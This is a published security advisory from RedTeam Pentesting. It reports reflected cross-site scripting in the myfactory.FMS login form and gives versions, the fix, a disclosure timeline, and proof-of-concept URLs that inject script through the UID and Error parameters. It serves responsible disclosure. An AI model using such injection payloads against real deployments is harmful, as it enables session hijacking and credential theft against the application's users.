Cross-Site Scripting in myfactory.FMS

During a penetration test, a reflected cross-site scripting vulnerability (XSS) was found in the myfactory.FMS login form. If a user opens an attacker-prepared link to the application, attackers can run arbitrary JavaScript code in the user’s browser.

Details

• Product: myfactory.FMS
• Affected Versions: <= 7.1-911
• Fixed Versions: 7.1-912 and later
• Vulnerability Type: Cross-Site Scripting
• Security Risk: medium
• Vendor URL: https://www.myfactory.com/myfactoryfms.aspx
• Vendor Status: fixed version released
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
• Advisory Status: published
• CVE: CVE-2021-42565, CVE-2021-42566
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42565
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42566

Introduction

“With myfactory, you get a modern accounting application for your business. It covers every functionality necessary for an accounting system.” (translated from German from the vendor’s homepage)

More Details

The myfactory.FMS web application (https://www.myfactory.com/myfactoryfms.aspx) allows users to login with a username and password. If the password is wrong, the application redirects to a URL similar to the following:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=RedTeam

The application then opens a dialogue telling the user that their username or password are wrong and uses the value of the parameter UID to prefill the login form resulting in the following source code:

<td>
<input NAME="txtUID" VALUE="RedTeam"
   onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
</td>

The UID parameter gets reflected without applying any encoding to it.

A similar problem arises when the login leads to an error. This introduces a new parameter named ‘Error’:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=RedTeam_Error

The value of the Error parameter gets appended without encoding in the javascript function mOnLoad resulting in the following code:

function mOnLoad(
{
  var sParams;
  alert('Das System konnte Sie nicht anmelden.\n RedTeam_Error');
[...]

Proof of Concept

The XSS in the UID parameter can be triggered with the following URL:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID="><script>alert("RedTeam+Pentesting")</script><span+"

This will lead to the following HTML returned by the server:

<td>
<input NAME="txtUID" VALUE=""><script>alert("RedTeam Pentesting")</script><span ""
   onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
</td>

To demonstrate the XSS via the Error parameter, the following URL can be used:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=');alert("RedTeam+Pentesting");//

This will lead to the following JavaScript embedded in the HTML website returned by the server:

function mOnLoad(
{
  var sParams;
  alert('Das System konnte Sie nicht anmelden.\n ');alert("RedTeam+Pentesting");//');
[...]

Workaround

None

Fix

Install Version 7.1-912 or later.

Security Risk

This security vulnerability allows to execute arbitrary JavaScript code in users’ browsers if they access URLs prepared by attackers. This provides many different possibilities for further attacks against these users. The vulnerability could for example be exploited to display a fake login to obtain credentials and consequently access a company’s accounting information. Since attackers might be able to get access to sensitive financial data, but users have to actively open an attacker-defined link, this vulnerability is estimated to pose a medium risk.

Timeline

• 2021-05-07 Vulnerability identified
• 2021-05-27 Customer approved disclosure to vendor
• 2021-06-07 Vendor notified, support confirms vulnerability and
  implements fix. Support says vendor does not agree to a public advisory.
• 2021-06-10 Vendor contacts RedTeam Pentesting, reiterates that
  no advisory should be released. Vendor acknowledges public release after 90 days.
• 2021-10-04 Customer confirms update to fixed version
• 2021-10-13 Advisory released
• 2021-10-14 CVE-ID requested
• 2021-10-18 CVE-ID assigned

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/